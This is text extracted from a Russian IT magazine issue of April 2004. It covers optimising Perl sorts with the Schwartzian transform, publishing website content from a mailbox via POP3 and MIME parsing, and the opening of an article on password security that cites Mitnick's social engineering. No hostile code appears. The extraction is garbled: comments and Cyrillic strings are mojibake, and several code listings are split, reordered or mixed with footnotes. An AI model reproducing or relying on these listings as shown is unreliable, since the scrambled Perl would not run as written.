чем прямая пропорциональность количеству элементов. Одним словом, при достаточном количестве элементов мы обязательно снизим суммарный расход времени на сортировку. Какое количество элементов следует считать «достаточным»? Это зависит от сложности критерия сортировки. Часто (но не всегда), чем сложнее критерий (тот критерий, который сформулирован в блоке оператора sort), тем меньше надо элементов, чтобы почувствовать выигрыш; но, чем сложнее процедура вычисления критерия (та процедура, которая находится в map), тем больше надо элементов, чтобы выигрыш стал ощутимым. Подробнее это обсудим совсем скоро, а пока рассмотрим детальнее наш последний код. Всю описанную здесь процедуру можно записать короче и без использования временных массивов: Ëèñòèíã 6 # Îïòèìèçèðîâàííàÿ ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà # ðåãèñòðà; êîðîòêàÿ ôîðìà áåç âðåìåííûõ ìàññèâîâ @sorted = map {$_->[1]} sort {$a->[0] cmp $b->[0]} map {[uc, $_]} @unsorted;
Эта конструкция известна как преобразование Рэндала Шварца8. Последний код выглядит гораздо более изящно, но иногда уместнее использовать первый вариант (листинг 5) или некий гибридный подход. Например, это полезно, когда критерий сортировки используется многократно, или в тех случаях, когда целесообразно рассчитывать сразу несколько критериев. В следующем примере мы создаём два сортированных без учёта регистра списка: по алфавиту и в обратном алфавитном порядке. При этом uc вызывается только один раз для каждого элемента. Ëèñòèíã 7 # Ñîçäàíèå äâóõ ñîðòèðîâàííûõ áåç ó÷¸òà ðåãèñòðà ñïèñêîâ; # âäâîéíå îïòèìèçèðîâàííàÿ ðåàëèçàöèÿ @temp_unsorted = map {[uc, $_]} @unsorted; @sorted_a2z = map {$_->[1]} sort {$a->[0] cmp $b->[0]} @temp_unsorted; @sorted_z2a = map {$_->[1]} sort {$b->[0] cmp $a->[0]} @temp_unsorted;
Помимо выигрыша, который дала бы оптимизация каждой отдельной сортировки, здесь мы получили дополнительный выигрыш. Если просто дважды применить классическое преобразование Рэндала Шварца, то на одну сортировку потребовалось бы два вызова map. Здесь же на каждую сортировку приходится полтора вызова map (три map на два sort). Причём реальный выигрыш ещё больше, так как дважды выполняется процедура map, восстанавливающая данные, а процедура расчёта критерия сортировки (более ресурсоёмкая, чем восстановление данных) выполняется всего один раз на две сортировки. То есть для каждой из двух сортировок на один элемент понадобилась половина, если можно так сказать, вызова uc. Впечатляющий результат?! Особенно, если вспомнить, что если бы мы просто дважды использовали неоптимизированный код, аналогичный приведённому в листинге 4, применительно к массиву из миллиона строк, то каж-
программирование дая строка была бы преобразована к верхнему регистру без малого сто раз (более 86 раз). Вернёмся теперь к вопросу о том, какой же список следует считать «достаточно» длинным, и какой критерий сортировки – «достаточно» сложным.
ные $ap и $as соответственно; элемент $b обрабатывается аналогично. Если номера версий равны, то сравниваются подверсии12. Вариант с нашей оптимизацией будет выглядеть так: Ëèñòèíã 10
Тестируйте, тестируйте и ещё раз тестируйте Переходим от теории к практике: к тестам на реальных задачах. Я производил свои тесты на Perl версии 5.6.1 (revision 5.0 version 6 subversion 1)9. Для оценки производительности кода использовался метод timethese стандартного пакета Benchmark. Все тесты производились на изначально несортированных, «случайных», массивах. Тесты производились многократно, результаты усреднялись. Давайте для начала сравним производительность кода листинга 4 (без оптимизации) и листинга 6 (с оптимизацией). При сортировке списка из 1000 однокилобайтных строк оптимизированный код показывает производительность, в пять раз превосходящую производительность неоптимизированного кода. При сортировке аналогичного списка из 100 элементов выигрыш от оптимизации снижается, становясь четырёхкратным. При работе со списком из 10 элементов выигрыш становится меньше трёхкратного. Для пяти элементов – менее двукратного. Наконец, с двухэлементным списком оптимизированная сортировка работает примерно вдвое медленнее, чем неоптимизированная10. Для иллюстрации ещё одного приёма оптимизации и тестов предлагаю средней сложности сортировку. Пусть у нас имеется некий список версий вида: Ëèñòèíã 8 # Ñïèñîê âåðñèé @unsorted=('Ver 1.0', 'version 1.1', 'v. 1.10', 'ver 2.20', 'Ver 2.0', 'Version 2.3', 'V 2.12');
Нам необходимо отсортировать его по возрастанию номера версии. Сортировка по алфавиту (как в листинге 1) не даст ничего удовлетворительного. Сортировка версий, как десятичных дробей тоже потерпит крах, так как в этом случае окажется, что 1.1 равно 1.10, а 2.3 больше, чем 2.12. Здесь нужен более деликатный подход11. Простой вариант без оптимизации может выглядеть так: Ëèñòèíã 9 # Ñîðòèðîâêà ñïèñêà âåðñèé áåç îïòèìèçàöèè @sorted=sort { my ($ap, $as)=($a=~m/(\d+)\.(\d+)/); my ($bp, $bs)=($b=~m/(\d+)\.(\d+)/); $ap <=> $bp || $as <=> $bs; } @unsorted;
Для сравнения двух строк мы выделяем по два числа из каждого сравниваемого элемента сортируемого списка и производим сравнение этих чисел. Версия и подверсия, выделенные из элемента $a, помещаются в перемен-
№4(17), апрель 2004
# Ñîðòèðîâêà ñïèñêà âåðñèé ñ îïòèìèçàöèåé @sorted=map { $_->[0] } sort { $a->[1] <=> $b->[1] || $a->[2] <=> $b->[2]; } map { m/(\d+)\.(\d+)/; [$_, $1, $2]; } @unsorted;
Этим примером я хотел продемонстрировать, что вспомогательный массив (создаваемый вторым по тексту оператором map) может содержать указатели не только на двухэлементные анонимные массивы. В нашем случае критерий сортировки достаточно сложен и мы создаём трёхэлементные анонимные массивы: нулевой элемент – оригинальная строка, первый – номер версии, второй – номер подверсии. С точки зрения расхода памяти такой подход достаточно расточителен, тем не менее он часто бывает оправдан, когда критерий сравнения достаточно сложен. Однако наш пример не настолько сложен, в чём мы сейчас и убедимся, не только усовершенствовав оптимизацию и ускорив процедуру сортировки, но и сэкономив память. Воспользуемся соображением, что номер версии и подверсии не может быть больше 999. Тогда мы можем преобразовать версию и подверсию в одно число по формуле: [âåðñèÿ]*1000+[ïîäâåðñèÿ]
То есть 1.1 превратится в 1001, а 1.10 – в 1010. Сортировка таких чисел, очевидно, аналогична правильной сортировке версий. Новый код будет выглядеть так: Ëèñòèíã 11 # Ñîðòèðîâêà @sorted=map sort map
ñïèñêà âåðñèé ñ äîïîëíèòåëüíîé îïòèìèçàöèåé { $_->[0] } { $a->[1] <=> $b->[1] } { m/(\d+)\.(\d+)/; [$_, $1*1000+$2]; } @unsorted;
Обратите внимание, как упростилась процедура сравнения. Это стоило нам небольшого усложнения (и замедления выполнения) кодирующего (второго по тексту) map. Но зато теперь память используется более экономно и, что самое главное, сравнение двух элементов в блоке оператора sort происходит гораздо быстрее. Какова же производительность этих кодов? Как показывают тесты, наш успех не всегда можно назвать головокружительным13. При сортировке списка из 1000 элементов: первая оптимизация (листинг 10) даёт выигрыш в 4 раза (здесь и далее будем сравнивать с неоптимизированным кодом из листинга 9); дополнительная оптимизация (листинг 11) даёт ещё больший выигрыш – в 4.7 раза. При сортировке списка из 100 элементов: первая оп-
73
программирование тимизация даёт выигрыш в 3.8 раза, вторая оптимизация уже не способна дать дополнительный выигрыш, она работает чуть медленнее первой и даёт выигрыш в 3.7 раза. Такая же ситуация, только более ярко выраженная, наблюдается при сортировке списка из десяти элементов: первая оптимизация – выигрыш в два раза, вторая оптимизация – выигрыш только в 1.7 раза. Для списка из пяти элементов тестирование даёт следующие результаты: первая оптимизация по-прежнему даёт заметный выигрыш в 1.34 раза, вторая оптимизация продолжает себя дискредитировать, давая выигрыш всего в 1.19 раза. Мораль, я думаю, уже понятна: чем продуманнее оптимизация, тем она, без сомнения, эффективнее; но её эффективность начинает проявляться только при сортировке достаточно длинных списков. Причём эта критическая длина возрастает с ростом продуманности оптимизации. Размышляя над результатами наших тестов, обратите внимание и на тот факт, что все они проводились на неупорядоченных массивах, сортировка которых наиболее ресурсоёмка. На практике очень часто встречается ситуация, когда требуется лишь восстановить слегка нарушенный (скажем, добавлением новых элементов) порядок. В 1
2
3
4
5
6
74
В Perl термины массив (array) и список (list) во многом синонимичны, и я буду использовать их, всегда имея в виду упорядоченный набор данных. Данные, приводимые разными источниками, иногда очень сильно отличаются друг от друга. Это бывает связано с тем, что тесты разных авторов проводились на разных алгоритмах или на данных различной изначальной упорядоченности. Кроме того, некоторые авторы считают не акты сравнения, а акты вычисления операндов сравнения; естественно, таких вычислений в два раза больше, чем сравнений. Процедура сортировки в Perl весьма сложна. Алгоритм «адаптируется» к статистическим особенностям сортируемой последовательности, которые заранее неизвестны и не всегда верно «угадываются». Подобных механизмов может не быть в других языках, поэтому аналогичные тесты могут дать иные результаты. Обратите внимание: при таком вызове функции sort выполняется именно строковое сравнение элементов массива @unsorted, то есть массив @unsorted=(1,2,11) в результате сортировки будет преобразован к @sorted=(1,11,2). Сюрприз? Переменные $a и $b получают область видимости именно local, а не my. То есть они видны глобально во всех вызываемых блоком подпрограммах (в пределах текущего модуля) и могут (но не должны!) изменяться ими. Только после завершения выполнения блока этим переменным возвращаются их прежние значения, как если бы они были локальными. Функция uc работает гарантированно корректно только с латинскими буквами. Для сортировки строк, содержащих русские символы, следует применять более тонкие приёмы. Здесь мы не будем касаться этого вопроса.
таких случаях сортировка может оказаться менее ресурсоёмка и экономия времени от выноса кода за пределы блока оператора sort будет ощущаться на больших массивах. Есть ещё одно существенное соображение. Вы видели, что при работе с большими списками код из листинга 11 более производителен, чем код из листинга 10. Однако промежуточный массив, возникающий при работе листинга 10, позволил бы весьма гибко выполнять самые разные сортировки (конечно, если бы мы его сохранили подобно тому, как мы это сделали в листинге 7 при создании двух сортированных массивов). Например, мы могли бы сортировать список версий по возрастанию версии, но убыванию подверсии. То есть, совершенствуя наше решение, мы снизили его универсальность, которая могла бы оказаться полезной в каких-то ситуациях. Одним словом, абсолютно универсального решения не существует. Каждый подход хорош только в определённых условиях. Если вы намерены всерьёз позаботиться о производительности своего кода, то я посоветовал бы ознакомиться со страницами руководства perldoc Benchmark и всегда тестировать свой код. Причём тестирование, как вы уже убедились, следует проводить в условиях максимально «приближенных к боевым». 7
8
9
10
11
12
13
Именно переменную $_ использует функция uc, если аргумент не задан явно. То есть вызов uc (без аргументов) эквивалентен вызову uc($_). Randal L. Schwartz, Портленд (штат Орегон). Шварц широко известен своими книгами (есть и переведённые на русский язык) и публикациями, а также своими часто шутливыми высказываниями в Usenet. Если вы программируете на Perl, то наверняка уже сталкивались с ним. Это весьма существенная информация, функция sort постоянно совершенствуется разработчиками Perl. В последней версии 5.8 добавлена даже новая прагма use sort, позволяющая в некотором роде выбрать алгоритм сортировки. Конечно, для сортировки двух величин эффективнее использовать не процедуру sort, а конструкцию наподобие такой: @srt=$usrt[0] gt $usrt[1]?@usrt:@usrt[1,0]; она работает в десятки раз быстрее, чем sort. Для работы со строками я буду использовать механизм регулярных выражений, описание которого выходит далеко за рамки настоящей статьи. Надо заметить, что в предложенный здесь и далее код далёк от совершенства и едва ли применим для решения реальных задач. Корректность исходных данных не проверяется, а строка вида «Windows 95» уже будет обработана неправильно. Скорость подобной сортировки существенно зависит от длины и характера сортируемых строк. Я проводил тесты на строках, аналогичных приведённым в листинге 8. Если бы мы взяли более длинные строки, они обрабатывались бы медленнее, различия результатов тестов стали бы ощутимее, но общий характер описываемых закономерностей не изменился бы.
web
АВТОМАТИЗАЦИЯ ВЕБ-ПРОЕКТОВ ЧЕРЕЗ ЭЛЕКТРОННУЮ ПОЧТУ
Если взглянуть на мир со стороны, становится абсолютно не понятно, кто и как управляет сайтами. Информации на этот счет крайне мало, хотя, думаю, существует достаточное количество интересных решений. Более-менее развитые движки сайтов предоставляют веб-интерфейс управления контентом, если, конечно, это не считается принципиальным аппендиксом. Про то, что я буду описывать, лично мне нигде пока слышать не доводилось.
ИГОРЬ ТЕТЕРИН 76
web Сразу же уточним, чего мы хотим добиться. Наша задача – сделать как можно более удобный и доступный интерфейс для наполнения сайта контентом, то есть переложить часть рутины на скрипты и сотрудников. Значит, нам предстоит заняться автоматизацией этого процесса. Иногда дело доходит до смешного. Есть у человека свой проект, и даже есть свой движок. Но для каждого нового динамического раздела он пишет и рисует формы, пишет обработчики, вставляет проверки. Появляется новый раздел – берем шаблон предыдущего, корректируем, правим, редизайним, проверяем и выкладываем. И еще раз проверяем. Такой вот обьем работы ради того, чтобы добавить один раздел. А кто-то ведь еще работает и делает это через dial-up. Любой, кто занимался этим, поймет – эта работа для орков. Мы же – программисты. У нас есть свой проект, и тратить кучу времени на разработку каждого отдельно взятого раздела мы не хотим. Лучше мы помучаемся один раз, зато потом жизнь наша станет сладкой и динамичной.
Новый принцип автоматизации. Основы. Сравнения Как-то давно, когда я писал ret 0.8 (ядро для интернетсайтов), мой друг заметил, что было бы весьма удобно, если бы сайтом можно было управлять через электронную почту. Тогда мы не уделили этому вопросу должного внимания. Позднее – только вспоминали про эту технологию. И вот, наконец, я решил испробовать это на одном разделе своего сайта http://revda.biz. Написал простой скрипт, который читает почту из рассылки и публикует все, что попадет, на сайт. И тут я понял, что это очень удобно! Люди, которые писали в рассылку, просто переписывались, при этом страница сайта была в постоянном движении. Те, кто заходил на эту страницу, знали и понимали – за новой информацией туда можно заходить каждый день. Да, пока это больше похоже на обычный интернет-трэд, но все же! Как все это выглядит? Наша задача – обрабатывать письма, которые мы будем брать с заранее созданного почтового ящика. Этот же ящик мы можем подписать на рассылки или нечто подобное, дело даже не только в рассылках. Мы можем дать адрес ящика нужным нам людям для того, чтобы они присылали туда новую информацию почтой, и не приучать их пользоваться для этого какимлибо веб-интерфейсом. Кроме того, наш сайт может брать что-то из сети Интернет, а результат пересылать на тот же почтовый ящик. Грубо говоря, наш почтовый ящик стал централизованным источником информации. Этого обычно не скажешь о веб-интерфейсе, где приходится (по большей части) кого-то напрягать, заставлять или самому работать ручками. Более того – мы можем автоматически обрабатывать не один ящик, а несколько, закрепив за каждым свою тематику. Этот подход также решает вопрос вашего присутствия в Интернете. Так как мы работаем с почтовым ящиком, то для того, чтобы обработать материал, ответить кому-то или сделать что-то еще, нам достаточно просто скачать почту, поработать с ней и отослать ответы.
№4(17), апрель 2004
Пока все выглядит очень красиво. Однако, чтобы создать нечто подобное в реальности, нам придется ввязаться в битву с одним, а может, и двумя, самыми запутанными стандартами: MIME и HTML. Победить в битве с HTML достаточно трудно – это довольно противоречивый и очень динамичный стандарт. Тут придется не один раз приложить и руки, и голову. В рамках нашей задачи мы коснемся его только слегка.
Выбор платформы, языка и оценка задачи На чем будет работать наш обработчик почты? Ответ очевиден, если предположить, что все должно работать и на Windows, и на UNIX-платформах. Мы не станем ограничивать себя чем-то одним, поэтому после разработки обработчика сможем использовать его и там, и там. А это весьма удобно. На чем будем писать? Немного подумаем. Учитывая, что PHP я не знаю и знать не хочу, остается один выбор – Perl. К тому же Perl, с моей точки зрения, концептуально более правильный язык и больше подходит на роль стандартного. Но не это важно, важны принципы и алгоритм, а реализовывать можно хоть на Ruby. Ну и, наконец, перед нами стоит задача написать обработчик почты. То есть нам потребуется автоматизировать прием, отправку, разбор писем. Плюс к этому возникает проблема безопасности и защищенности такого решения. Что же нам потребуется? Один почтовый ящик, хостинг (хотя можно и локально) с поддержкой Perl и несколькими дополнительными модулями с CPAN. Ну и остальное «огнестрельное оружие», вроде putty, far, TheBat и т. д.
Переходим к практике Рассмотрим очень простой пример. Первое, что нам потребуется – подключение нужных модулей: use use use use use use use
Net::POP3;use MIME::Parser; MIME::Entity; MIME::Head; MIME::Body; MIME::Words qw(:all); MIME::QuotedPrint; MIME::Base64;
Определим основные объекты и переменные: my $parser = MIME::Parser->new; $parser->output_to_core(1); $parser->tmp_to_core(1); $mail_server='127.0.0.1'; $username='login'; $password='password';
Теперь получим список писем: $pop = Net::POP3->new($mail_server) or die "Can't open coonection to $mail_server :$!\n"; $pop->login($username, $password) or die "Can't Authenticate: $!\n"; $messages = $pop->list or die "Can't get listof undeleted messages: $!\n";
77
web Начинаем обрабатывать каждое письмо:
{ if if if if if
foreach $msgid (keys %$messages) { $message = $pop->get($msgid); unless (defined $message) { warn "Couldn't fetch $msgid from server: $!\n"; next; }
Следующий метод изначально был взят у Рэндола Шварца. Если вы поищете в Сети, то найдете нечто вроде PerlColumn, мне встречался даже перевод, правда, неполный. Далее следует примерно такой алгоритм: если в письме есть часть типа text/plain, то берется именно эта часть, а все остальное игнорируется. Таким образом, если мы встречаем письмо, где есть HTML-часть и текст, то в качестве входящих данных берется именно текст. Если текстовой части нет – письмо игнорируется. $pop->delete ( $msgid ); @message = @$message; $ent = $parser->parse_data ( \@message ); $bodyCoding = $ent->head-> ↵ mime_attr( 'Content-type.charset' ); $origType = $ent->head-> ↵ get( 'Content-Transfer-Encoding',0 ); if ( $ent->effective_type eq 'text/plain' ) { # ïèñüìî – òîëüêî òåêñò $bodyCoding = $ent->head-> ↵ mime_attr( 'Content-type.charset' ); $origType = $ent->head-> ↵ get( 'Content-Transfer-Encoding',0 ); $body = $ent->body_as_string; } elsif ( $ent->effective_type eq 'multipart/alternative' and $ent->parts(0)->effective_type eq 'text/plain' ) { # ïèñüìî, ãäå ïåðâàÿ ÷àñòü ìóëüòèïàð – òåêñò $bodyCoding = $ent->parts(0)->head-> ↵ mime_attr( 'Content-type.charset' ); $origType = $ent->parts(0)->head-> ↵ get( 'Content-Transfer-Encoding',0 ); $body = $ent->parts(0)->body_as_string; } elsif ( $ent->effective_type eq 'multipart/alternative' and $ent->parts(1)->ffective_type eq 'text/plain' ) { # ïèñüìî, ãäå âòîðàÿ ÷àñòü ìóëüòèïàðò – òåêñò $bodyCoding = $ent->parts(1)->head-> ↵ mime_attr( 'Content-type.charset' ); $origType = $ent->parts(1)->head-> ↵ get( 'Content-Transfer-Encoding',0 ); $body = $ent->parts(1)->body_as_string; } else {next} chomp $origType;
Чем универсален этот код, так это тем, что в нём происходят все стандартные MIME-декодировки – Base64 и QuotedPrintable – и перекодирование из ISO и KOI в Windows-1251. # Åñëè çàêîäèðîâàíî, äåêîäèðóåì åãî, âî èìÿ ñ÷àñòüÿ if (lc($origType) eq 'quoted-printable') { $body = MIME::QuotedPrint::decode($body); } if (lc($origType) eq 'base64') { $body = MIME::Base64::decode($body); } $bodyCoding = lc($bodyCoding); # Ïåðåêîäèðîâêà êèðèëèöû ó òåëà, åñëè íàäî if ($bodyCoding ne '')
78
}
($bodyCoding eq 'koi8-r') {$bodyCoding = 'koi'} ($bodyCoding eq 'koi8r') {$bodyCoding = 'koi'} ($bodyCoding eq 'iso8859-5') {$bodyCoding = 'iso'} ($bodyCoding eq 'koi8-u') {$bodyCoding = 'koi'} ($bodyCoding eq 'koi' || $bodyCoding eq 'iso') { $body = encoder($body, $bodyCoding, 'win') }
$subj
=
join( "",
);
map {xcode( ${$_}[1], ${$_}[0])} decode_mimewords( $ent->head->get('Subject',0) )
$date = $ent->head->get('Date',0); }
Собственно, все. Переменная $subj содержит тему письма, $body – тело письма, а $date – дату. Остальные параметры письма вы сможете легко получить, используя уже подключенные в программе модули. Теперь вы смело можете сохранить в базе данных полученные результаты. Я, например, сохраняю их таким образом: use collector; ($r) = Add2Revorum ( \$subj, \$body, \$date );
где модуль collector.pm – часть моего движка сайта, которая создает необходимую структуру и, используя ядро ret WebOS и модуль Storable, пишет её базу (обычные плоские файлы). О проблеме альтернативной СУБД я напишу в другой статье. Те, кого это заинтересовало, могут обратиться за подробностями по интернет-адресу: http://jkeks.far.ru/ret. Подпрограммы или процедуры, ответственные за перекодировку: sub xcode { # îïðåäåëÿåì êîäèðîâêó è âûçûâàåì ïåðåêîäèðîâùèê, åñëè íóæíî my ($charset, $src) = @_; my %charsets = ( 'windows-1251' =>'win', 'iso8859-5' =>'iso', 'koi8-r' =>'koi', 'koi8r' =>'koi', 'koi8-u' =>'koi', ); return $src unless ($charsets{lc($charset)}); return encoder($src, $charsets{lc($charset)}, 'win'); }
Огромная благодарность российскому разработчику библиотек pvd – Денису Познякову (Denis Poznyakov, pvdenis@usa.net) – за минимальный код перекодировки русских символов. Перекодировка основывается на данных полей письма, тут нет попытки создания какого-либо анализатора. sub encoder { my $enstring = shift; my $cfrom = shift; my $cto = shift; my %codefunk = ( win => "\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA ↵ \xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6 ↵ \xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2 ↵ \xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE ↵ \xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA ↵ \xFB\xFC\xFD\xFE\xFF", koi => "\xE1\xE2\xF7\xE7\xE4\xE5\xF6\xFA\xE9\xEA\xEB ↵ \xEC\xED\xEE\xEF\xF0\xF2\xF3\xF4\xF5\xE6\xE8\xE3 ↵ \xFE\xFB\xFD\xFF\xF9\xF8\xFC\xE0\xF1\xC1\xC2\xD7 ↵ \xC7\xC4\xC5\xD6\xDA\xC9\xCA\xCB\xCC\xCD\xCE\xCF ↵
web \xD0\xD2\xD3\xD4\xD5\xC6\xC8\xC3\xDE\xDB\xDD\xDF \xD9\xD8\xDC\xC0\xD1", iso => "\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA \xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6 \xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2 \xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE \xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA \xEB\xEC\xED\xEE\xEF", dos => "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A \x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96 \x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2 \xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE \xAF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA \xEB\xEC\xED\xEE\xEF",
↵ ↵ ↵ ↵ ↵ ↵ ↵ ↵ ↵ ↵ ↵
koi_lc koi_uc win_lc win_uc alt_lc alt_uc
);
}
=> "tr/\xB3\xE0-\xFF/\xA3\xC0-\xDF/", =>"tr/\xA3\xC0-\xDF/\xB3\xE0-\xFF/", => "tr/\xA8\xC0-\xDF/\xB8\xE0-\xFF/", =>"tr/\xB8\xE0-\xFF/\xA8\xC0-\xDF/", => "tr/\xF0\x80-\x9F/\xF1\xA0-\xAF\xE0-\xEF/", => alt_lc => "tr/\xF1\xA0-\xAF\xE0- ↵ \xEF/\xF0\x80-\x9F/", iso_lc => "tr/\xA1\xB0-\xCF/\xF1\xD0-\xEF/", iso_uc => "tr/\xF1\xD0-\xEF/\xA1\xB0-\xCF/", dos_lc => "tr/\x80-\x9F/\xA0-\xAF\xE0-\xEF/", dos_uc => "tr/\xA0-\xAF\xE0-\xEF/\x80-\x9F/", mac_lc => "tr/\xDD\x80-\xDF/\xDE\xE0-\xFE\xDF/", mac_uc => mac_lc => "tr/\xDE\xE0-\xFE\xDF/\xDD\x80-\xDF/"
if (!$enstring or !$cfrom or !$cto) {return 0} else { if ($cfrom ne "" and $cto ne "lc" and $cto ne "uc") { $_ = $enstring;$cfrom = $codefunk{$cfrom};$cto = $codefunk{$cto}; eval "tr/$cfrom/$cto/"; return $_; } elsif (($cfrom ne "") and ($cto eq "lc" or $cto eq "uc")) { $_ = $enstring; $cfrom = $codefunk{"$cfrom\_$cto"}; eval $cfrom; return $_; } } return $enstring;
Если вы не поняли, как это работает, поясню. Данный пример скачивает с почтового ящика все письма, обрабатывает их и передает системе управления базами данных либо куда-то еще. Этот код является основой описываемой технологии. Как я и обещал, соблюдена полная кросс-платформенность между Windows и UNUX-системами. Все используемые в скрипте библиотеки легко доступны. От редактора: в процессе редактирования статьи было замечено, что тот же самый Outlook Express нечасто кодирует русские буквы в заголовках сообщений. Все это, конечно, зависит от настроек, но мало кто из пользователей Outlook занимается дотошной настройкой своего почтового клиента. Поэтому процедура xcode при работе с такими заголовками не диагностировала необходимость перекодирования. Немного подумав, была придумана небольшая модификация. Это не панацея, а скромная попытка перекрыть некоторые проблемы – угадать кодировку KOI8-R в заголовке. Для этого внесем только одну коррективу в процедуру xcode – чуть усилим проверку: # çàêîììåíòèðóåì ñòðîêó, âîçâðàùàþùóþ íåèçìåíåííûé # çàãîëîâîê è ïðîäîëæèì ïðîâåðêó: # return $src unless ($charsets{lc($charset)}); unless ($charsets{lc($charset)}) { # åñëè êîäèðîâêà íåîïðåäåëåíà, ñ÷èòàåì âõîæäåíèå # áîëüøèõ è ìàëåíüêèõ ðóññêèõ áóêâ $upper = "¨ÉÖÓÊÅÍÃØÙÇÕÚÔÛÂÀÏÐÎËÄÆÝß×ÑÌÈÒÜÁÞ"; $lower = "¸éöóêåíãøùçõúôûâàïðîëäæýÿ÷ñìèòüáþ"; $ucount = eval("\$src =~ tr/$upper/$upper/;"); $lcount = eval("\$src =~ tr/$lower/$lower/;");
№4(17), апрель 2004
# åñëè áîëüøèõ áóêâ áîëüøå – ñêîðåå âñåãî ýòî KOI8 # è ìû ïåðåêîäèðóåì ýòî â Windows return encoder($src, 'koi', 'win') if ($ucount > $lcount); # èíà÷å, êàê è ðàíåå, âîçâðàùàåì íåèçìåíåííûé çàãîëîâîê return $src; }
Собственно, идея основана на том факте, что слово «Новость» в кодировке KOI будет восприниматься как «оПЧПУФШ» в кодировке Windows. Прием довольно спорный, но имеет право на существование. Абсолютно не применим на больших объемах текста – поверьте на слово.
Тема безопасности, аутентификация, вклинивания Любое письмо, попавшее на ящик, может стать атакой или просто спамом. Как с этим бороться? Прежде всего вы можете организовать интернет-рассылку, где сможете управлять регистрацией нужных вам подписчиков. Обычно в системах рассылки уже встроены свои собственные механизмы борьбы со спамом. Описанный выше сценарий также подходит к делу принципиально. Принимаются только те сообщения, которые пришли в виде текста. Кроме того, вырезаются баннеры, расположенные обычно после символов «\n— \n» (это – стандарт TheBat). Также скрипт соблюдает логику: «можно только то, что разрешено», а не «можно то, что не запрещено». Если проблемно организовать рассылку, скорее всего вам необходимо будет добавить проверку ключа (например, в теме письма должен быть соответствующий идентификатор). Идентификатор отбрасывает почти все проблемы с безопасностью, однако это не накладывает ограничения на входящий трафик. Замечание: если не считать проблемой открытость передачи самого идентификатора и то, что вставить его в заголовок может каждый увидевший. Но самый безопасный вариант – принимать только текст, зашифрованный или подписанный при помощи программ семейства PGP. Это также исключит возможность прочитывания писем при случайном доступе к ящику.
Немного рекламы Ранее мы коснулись темы хранения данных. Важно понимать, что, кроме простых функций вроде публикации рассылки, со временем функциональность может обрасти связями с различными разделами, а приходящие данные смогут иметь сложную структуру. Плюс ко всему – не каждый может себе позволить профессиональный хостинг. Ради этого всего появилось на свет ядро ret WebOS, которое (как одно из направлений) предлагает альтернативу серверу SQL. Код системы минималистичен и для своей работы требует лишь наличия модуля Storable (который входит в стандартную поставку с Perl 5.8). В свою очередь модуль blogs.pm предоставляет возможность хранить структуры данных любой сложности и осуществлять к ним доступ как к разделам сайта. Данные хранятся в плоских файлах. Интернет-адрес проекта: http://jkeks.far.ru/ret. Добро пожаловать!
79
образование
В ЧЕМ СЛАБОСТЬ ТВОЯ?
Несмотря на все усилия при построении защиты в компьютерном деле наиболее уязвимым и наименее предсказуемым остается человек. К сожалению, при работе на компьютере человек способен только понизить уровень защищенности, если он не выполняет определенных требований безопасности. Последние примеры схем распространения вирусов по электронной почте (MуDoom, Bagle и т. д.) показали, что любопытство пользователей активно используется вирусописателями наряду с эксплуатацией известных уязвимостей программных продуктов и, что это может повлечь серьезные проблемы для всего сообщества Интернет. Так как проблема человеческого фактора в вопросах безопасности достаточно объемная, то в данной статье мы остановимся только на вопросах, связанных с парольной защитой, и даже в рамках этой темы только ее частью – способом хранения конфиденциальной информации для аутентификации.
МАКСИМ КОСТЫШИН 82
образование Немного истории В первой главе своей книги известный компьютерный взломщик Кевин Митник так описывает подробности проникновения в компьютерную систему корпорации DEC. «…Представившись как Антон Чернофф, который был одним из ведущих разработчиков проекта, я сделал простой звонок системному администратору. Я притворился, что не могу зайти через одну из «моих» учетных записей, и был достаточно убедительным, чтобы приказать парню дать мне доступ и позволить выбрать такой пароль, какой я выберу сам. Во время входа по удаленному телефонному доступу пользователь должен дать также и пароль, что было дополнительным уровнем защиты. Системный администратор сказал мне пароль. Это слово было «buffoon» (дословно: шут, фигляр), помоему, это то, кем он должен был себя почувствовать, когда понял все, что произошло. Я получил доступ к RSTS/E – системе разработки DEC. И я вошел не как рядовой пользователь, а со всеми привилегиями разработчика системы...». Несмотря на то, что эта история, описанная выше, случилась в прошлом тысячелетии, XXI век вполне может соревноваться по анекдотичности ситуаций, при которых беспечность пользователей в отношении своих паролей просто поразительна. На проходившей в апреле 2003 года в Лондоне выставке InfoSecurity Europe 2003 (www.infosec.co.uk) ее организаторы провели ставшее уже традиционным исследование сознательности офисных работников в вопросах безопасности. На столичной станции Waterloo под видом социального опроса предлагалось в обмен на дешевую ручку ответить на ряд вопросов, в том числе назвать свой пароль, а также определить те критерии, по которым он формируется. 90% сразу назвали пароль (для сравнения, 65% – в 2002 году). Заметим справедливости ради, что правдивость ответов никто никогда выяснить не сможет. Один из опрошенных вначале отказался назвать свой пароль, сославшись на требования безопасности, однако вскоре выяснилось, что в качестве пароля он использует имя дочери, а немного позже мнимые социологи смогли выяснить и как ее зовут. Согласно полученной в ходе исследования статистике часто паролем являлось слово «password» (12%), а другими популярными категориями были собственное имя (16%), название любимой футбольной команды (11%) и дата рождения (8%). Два третьих опрошенных дали свой пароль коллеге (показатель аналогичен 2002 году), а три четверти знали пароли их сослуживцев. Дополнительно к использованию пароля для доступа к их информации в компании, две трети использовали тот же пароль везде, включая их персональные банковские счета, централизованный доступ Web и т.п. Настораживает то, что некоторые методы взлома, использованные Митником в 90-х годах в 